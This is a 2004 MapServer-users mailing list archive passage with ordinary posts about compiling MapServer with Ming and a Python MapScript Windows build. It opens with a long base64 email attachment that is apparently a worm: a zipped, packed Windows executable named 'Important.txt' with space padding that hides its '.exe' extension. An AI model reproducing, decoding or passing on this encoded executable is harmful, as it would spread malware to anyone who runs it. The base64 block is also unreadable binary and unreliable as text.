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 AADgBwAAwAcAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA 4AcAAP/fAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAA AAeIgACAAAAAAAAAAAAAAAAH//d4iIiIAAAAAAAAAAAAd///////d3iIgAAAAAAAAHf4iIj/ /////4cAAAAAAAB///////////+HAAAAAAAAf/iIiP//////hwAAAAAAAH///////////4cA AAAAAAB///////////+HAAAAAAAAf///////////hwAAAAAAAH/3f////////4cAAAAAAAB/ 94iIiIh3//+HAAAAAAAAf//////3d4//hwAAAAAAAH/4iIiId////4cAAAAAAAB/////93eI h/+HAAAAAAAAf/iIiHd/////hwAAAAAAAH////93eIiP/4cAAAAAAAB///////////+HAAAA AAAAf///////////hwAAAAAAAH/3d////////4cAAAAAAAB/93iIf/////+HAAAAAAAAf/f/ ////////hwAAAAAAAH/4iIj//////4cAAAAAAAB///////////+HAAAAAAAAf4f3f/f///// hwAAAAAAAHeDeDf4j4P4j4cAAAAAAAB4g4iIiDdzd4iAAAAAAAAAA7uLuIg4c4iIAAAAAAAA AABwB3B7Bzd7MAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////f////h3///4AD//8AAB/ /AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wA AD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAD/8AAA//AAAP/wAAH/+AAD//2SB//////8AAAEA AgAQEBAAAQAEACgBAAABACAgEAABAAQA6AIAAAIAU7UcAGO1HAB1tRwAhbUcAAAAAAAKtRwA AAAAAP////9GtRwACrUcAAAAAAAAAAAAAAAAAAAAAAAAAAAAa2VybmVsMzIuZGxsAAAATG9h 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 A8qLAf/Qi/hQizOLUxgD8otLDAPKjYUdEQAQ/3MEjwBqAFBXVv/RWANDCIv4i1MYi/CLRvyD wAQr8IlWCItLEIlOJItLFFGJTij/14mFIREAEIvwWQNLGGgAgAAAagBX/xGLxl5aX1lbXf/g AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AABQSwECFAAKAAAAAAAMU6swjUtP9wBWAAAAVgAAlgAAAAAAAAAAACAAAAAAAAAASW1wb3J0 YW50LnR4dCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuZXhlUEsFBgAAAAABAAEAxAAAALRW AAAAAA== ------=_NextPart_000_0003_00006213.00004538-- From shpr at libero.it Tue May 11 05:11:09 2004 From: shpr at libero.it (Bonnin S.) Date: Tue, 11 May 2004 14:11:09 +0200 Subject: [Mapserver-users] Re: help installing mapserver with ming References: Message-ID: <139801c43751$0c331710$0501a8c0@comai04> Did you solve your problem? If yes, how? Thanks Stefano ----- Original Message ----- From: "Ian MacColl" To: Cc: "Ian MacColl" ; Sent: Sunday, April 11, 2004 4:52 PM Subject: [Mapserver-users] Re: help installing mapserver with ming > On 7 April 2004, Blaise wrote: > > > I am stuck installing MapServer 4.0.1 with Ming (with linux Fedora > > Core 1). > > It seems that I managed to install Ming as I have the Ming support > > listed in my phpinfo page when I "dl php_ming.so" and I can run a few > > ming examples. > > > > But no way to build MapServer with ming (--with-ming). > > It gives me various error messages. I try to change a few things, but I > > still can't manage to have the "make" goes to its end. > > > > Anybody ever installed MapServer with ming ? Can somebody help me ? > > I just tried this - I could be missing something, but I suspect it's > broken. > > Looks to me like mapserver mapswf.c doesn't agree with ming's function > definitions, giving type clashes for SWFButton_addShape and > SWFMovie_add. Also, some other functions don't have the right number of > arguments. > > I gave up (for now). Does anyone have ming working with mapserver? > > Ian > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From warmerdam at pobox.com Tue May 11 05:56:03 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 11 May 2004 08:56:03 -0400 Subject: [Mapserver-users] Python MapScript for Windows Available Message-ID: <40A0CD63.70708@pobox.com> Folks, I have prepared a build of Python MapScript for windows if anyone is interested in it. It is part of the OpenEV_FW_174.zip package which includes a MapServer (cgi + Python MapScript) build with GDAL/OGR support and a substantial suite of drivers (now including PostGIS too). The Mapserver is built from the 4.3 CVS tree, so it includes the working version of new capabilities like WCS and raster query. I hope to have changes to the MapServer win32 Makefile.vc committed back in the fairly near future so it won't be too hard for others to build Python MapScript themselves. There were some twists and turns involved in getting this one built. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From shpr at libero.it Tue May 11 06:15:36 2004 From: shpr at libero.it (Bonnin S.) Date: Tue, 11 May 2004 15:15:36 +0200 Subject: [Mapserver-users] MS 4.2b1 and ming 0.3b1 (compile problem) Message-ID: <13d501c4375a$0c206350$0501a8c0@comai04> This is a multi-part message in MIME format. ------=_NextPart_000_13D2_01C4376A.CF9CFE50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I'm trying to compile mapserver 4.2b1 with ming 0.3b1 and the compiler = return me the followig error: .... cc1: warning: changing search order for system directory = "/usr/local/include" cc1: warning: as it has already been specified as a non-system = directory gcc -c -O2 -Wall -DIGNORE_MISSING_DATA 